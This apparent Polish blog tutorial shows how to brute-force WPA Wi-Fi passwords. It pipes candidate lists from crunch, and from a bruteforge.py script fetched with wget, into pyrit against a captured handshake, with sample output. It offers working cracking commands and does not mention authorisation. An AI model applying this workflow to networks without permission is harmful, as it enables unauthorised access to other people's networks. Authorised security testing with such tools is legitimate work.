[WiFi] – Pyrit + brute-force? Jasne!

Oto jak odzyskiwać hasło do sieci WPA+ używając pyrita, lecz nie metodą słownikową, a próbą ataku brute-force.
Pokazywałem już jak zainstalować pyrita, więc zaczniemy od razu od tego jak wykonać metodę brute-force.
Żeby móc atakować brute forcem, wypadałoby mieć program, który wygeneruje wszystkie hasła z danego zbioru znaków, najczęściej używanym jest crunch stworzony przez grupę DarkC0de.

Teraz trzeba go skompilować:

gcc -c crunch.c
gcc -lm -o crunch crunch.o

Składnia programu jest mniej-więcej taka:

./crunch jakie-znaki+używać+dobudowy=haseł


Czyli:

./crunch 1 7 1234567890

Spowoduje wyświetlenie na stdout, coś podobnego do:

...
 14340
 14351
 14352
 14353
 14354
 14355
 14356
 14357
 14358
 14359
 14350
 14361
 ...

A polecenie

./crunch 5 7 qwertyuioplkjhgfdsazxcvbnm

Pokaże hasła o składni:

...
 qyeiu
 qyeii
 qyeio
 qyeip
 qyeil
 qyeik
 qyeij
 qyeih
 qyeig
 qyeif
 qyeid
 qyeis
 qyeia
 qyeiz
 qyeix
 qyeic
 qyeiv
 qyeib
 qyein
 qyeim
 qyeoq
 qyeow
 qyeoe
 ...

Proste! Jak tego używać z pyritem? Za pomocą operatora kontrolnego z powłoki bash: |

Wypadałoby znać składnię poleceń programu pyrit, żeby więcej zdziałać, ale ta poznana w poprzednim artykule powinna być wystarczająca.

./crunch 5 7 qwertyuioplkjhgfdsazxcvbnm | 
pyrit -r PlikZHandshake.cap -e "NASA" -i -attack_passthrough

Crunch ma jeszcze inne rozwiązanie ataków brute-force:

./crunch 9 9 1234567890 -t haxored@@@@

Wygeneruje nam 1000 kombinacji wyrazy haxoredDDDD, gdzie D oznacza znak z zakresu podanego w komendzie do programu. Znak @ oznacza każdy dowolny znak podany w polecaniu programu.

...
 haxored0074
 haxored0075
 haxored0076
 haxored0077
 haxored0078
 haxored0079
 haxored0070
 haxored0081
 haxored0082
 haxored0083
 haxored0084
 ...

Drugim programem, a właściwie skryptem, który chciałbym tutaj pokazać jest bruteforge.py

wget https://gist.github.com/agilob/8387512/raw/7f1f35fce31c35b12c5dc43a52eeb563a45a7297/bruteforge.py -O bruteforge.py

Ma on również więcej użytecznych opcji, jak automatyczne wybieranie charsetu:

charsets:
 0) lowercase
 1) uppercase
 2) digits
 3) lowercase+digits
 4) hexdigits
 5) full-hexdigits
 6) 32 Chars
 7) custom
 8) special
 9) advanced mode import from FILE
 [default: 0]

Składnia jest też nie skomplikowana, żeby wypluć na stdout permutacje różnych charsetów to:

./bruteforge.py -m 10 -c 3

Gdzie -m 10 oznacza maksymalną długość haseł, a -c oznacza wybrany charset.

...
 xyd
 xye
 xyf
 xyg
 xyh
 xyi
 xyj
 xyk
 xyl
 xym
 xyn
 xyo
 xyp
 xyq
 xyr
 xys
 xyt
 xyu
 xyv
 xyw
 xyx
 xyy
 ...

Przerzucenie tego do pyrita to nic innego jak:

./bruteforge.py -m 10 -c 3 | pyrit -r PlikZHandshake.cap -e "nazwa_sieci" -i -attack_passthrough

Źródło.

[Total: 0    Average: 0/5]